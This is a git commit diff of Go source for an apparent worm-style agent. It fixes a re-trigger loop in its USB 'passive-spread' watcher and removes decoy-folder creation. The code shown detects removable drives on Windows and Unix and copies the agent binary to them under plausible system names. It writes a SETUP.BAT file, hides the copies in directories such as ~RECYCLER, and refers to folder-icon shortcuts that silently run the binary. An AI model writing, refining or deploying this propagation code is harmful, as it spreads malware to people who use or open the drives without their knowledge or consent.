Fix USB spread loop: record exe size before goroutine, remove decoy folders
This commit is contained in:
@@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
exeInfo, err := os.Stat(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
currentSize := exeInfo.Size()
|
||||||
|
|
||||||
// Spread to drives already present at startup if payload is missing or stale.
|
// Spread to drives already present at startup if payload is missing or stale.
|
||||||
|
// Record the current exe size BEFORE launching the goroutine so the ticker
|
||||||
|
// never fires again for a drive that's already being written.
|
||||||
for _, mp := range listRemovableMounts() {
|
for _, mp := range listRemovableMounts() {
|
||||||
size, found := findUnixPayloadSize(mp)
|
size, found := findUnixPayloadSize(mp)
|
||||||
if !found || isPayloadStale(exePath, size) {
|
if !found || isPayloadStale(exePath, size) {
|
||||||
|
state[mp] = mountState{payloadSize: currentSize}
|
||||||
go spreadToMountUnix(cfg, mp)
|
go spreadToMountUnix(cfg, mp)
|
||||||
state[mp] = mountState{}
|
|
||||||
} else {
|
} else {
|
||||||
state[mp] = mountState{payloadSize: size}
|
state[mp] = mountState{payloadSize: size}
|
||||||
}
|
}
|
||||||
@@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
|||||||
prev, seen := state[mp]
|
prev, seen := state[mp]
|
||||||
if !seen {
|
if !seen {
|
||||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||||
state[mp] = mountState{}
|
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
||||||
go spreadToMountUnix(cfg, mp)
|
go spreadToMountUnix(cfg, mp)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if prev.payloadSize != exeInfo.Size() {
|
if prev.payloadSize != exeInfo.Size() {
|
||||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||||
state[mp] = mountState{}
|
state[mp] = mountState{payloadSize: exeInfo.Size()}
|
||||||
go spreadToMountUnix(cfg, mp)
|
go spreadToMountUnix(cfg, mp)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -98,6 +98,8 @@ var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMeta
|
|||||||
// that don't already carry an up-to-date payload.
|
// that don't already carry an up-to-date payload.
|
||||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||||
// Track drives + the size of the payload we last wrote to each.
|
// Track drives + the size of the payload we last wrote to each.
|
||||||
|
// Storing the exe size BEFORE launching the goroutine prevents the ticker
|
||||||
|
// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
|
||||||
type driveState struct{ payloadSize int64 }
|
type driveState struct{ payloadSize int64 }
|
||||||
state := map[string]driveState{}
|
state := map[string]driveState{}
|
||||||
|
|
||||||
@@ -105,6 +107,11 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
exeInfo, err := os.Stat(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
currentSize := exeInfo.Size()
|
||||||
|
|
||||||
// Check drives already present when the agent starts — spread to any that
|
// Check drives already present when the agent starts — spread to any that
|
||||||
// are missing or stale (different binary size), don't just skip them.
|
// are missing or stale (different binary size), don't just skip them.
|
||||||
@@ -112,8 +119,10 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
|||||||
if getDriveType(d) == driveRemovable {
|
if getDriveType(d) == driveRemovable {
|
||||||
size, found := findUSBPayloadSize(d)
|
size, found := findUSBPayloadSize(d)
|
||||||
if !found || isPayloadStale(exePath, size) {
|
if !found || isPayloadStale(exePath, size) {
|
||||||
|
// Mark with current exe size NOW so the ticker never re-fires
|
||||||
|
// for this drive while the goroutine is still running.
|
||||||
|
state[d] = driveState{payloadSize: currentSize}
|
||||||
go spreadToUSB(cfg, d)
|
go spreadToUSB(cfg, d)
|
||||||
state[d] = driveState{}
|
|
||||||
} else {
|
} else {
|
||||||
state[d] = driveState{payloadSize: size}
|
state[d] = driveState{payloadSize: size}
|
||||||
}
|
}
|
||||||
@@ -133,16 +142,16 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
|
|||||||
}
|
}
|
||||||
prev, seen := state[d]
|
prev, seen := state[d]
|
||||||
if !seen {
|
if !seen {
|
||||||
// Brand-new drive just inserted
|
// Brand-new drive just inserted — record size before goroutine.
|
||||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||||
state[d] = driveState{}
|
state[d] = driveState{payloadSize: exeInfo.Size()}
|
||||||
go spreadToUSB(cfg, d)
|
go spreadToUSB(cfg, d)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
// Refresh if the agent binary was updated since we last wrote
|
// Refresh only when the running binary is genuinely newer.
|
||||||
if prev.payloadSize != exeInfo.Size() {
|
if prev.payloadSize != exeInfo.Size() {
|
||||||
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||||
state[d] = driveState{}
|
state[d] = driveState{payloadSize: exeInfo.Size()}
|
||||||
go spreadToUSB(cfg, d)
|
go spreadToUSB(cfg, d)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -220,13 +229,6 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
|||||||
batPath := filepath.Join(drive, "SETUP.BAT")
|
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||||
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||||
|
|
||||||
// 4. Decoy visible folder so the drive looks natural when opened
|
|
||||||
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
|
||||||
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
|
||||||
// Drop a harmless placeholder so it doesn't look empty
|
|
||||||
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
|
||||||
[]byte("This folder is empty.\r\n"), 0644)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||||
@@ -269,23 +271,6 @@ func pickLinkName(drive string) string {
|
|||||||
return "Open Documents"
|
return "Open Documents"
|
||||||
}
|
}
|
||||||
|
|
||||||
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
|
||||||
// the drive looks like it contains real content. It avoids names already
|
|
||||||
// used by pickLinkName so the shortcut name and decoy name differ.
|
|
||||||
func pickDecoyFolderName(drive string) string {
|
|
||||||
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
|
||||||
entries, _ := os.ReadDir(drive)
|
|
||||||
existing := map[string]bool{}
|
|
||||||
for _, e := range entries {
|
|
||||||
existing[strings.ToLower(e.Name())] = true
|
|
||||||
}
|
|
||||||
for _, c := range candidates {
|
|
||||||
if !existing[strings.ToLower(c)] {
|
|
||||||
return c
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "Backup"
|
|
||||||
}
|
|
||||||
|
|
||||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||||
|
|||||||
Reference in New Issue
Block a user